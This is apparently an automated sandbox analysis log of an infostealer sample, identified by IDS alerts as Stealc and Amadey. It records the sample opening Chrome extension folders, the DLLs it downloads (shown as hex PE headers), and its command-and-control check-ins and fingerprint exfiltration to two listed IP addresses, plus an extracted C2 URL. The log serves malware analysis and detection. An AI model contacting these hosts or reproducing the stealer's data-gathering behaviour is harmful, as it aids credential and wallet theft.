Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49806 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a0969106aa.exe, 0000001C.00000003.2941381485.0000000004750000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001C.00000002.3075139523.0000000000D42000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001E.00000003.3098995666.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001E.00000002.3139269920.0000000000D42000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001F.00000003.3230672067.0000000005370000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001F.00000002.3270869703.0000000000D42000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:54752 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:54766
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:54783 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:54787 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:54786 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:54793 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:54794 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:54801 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:54502 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 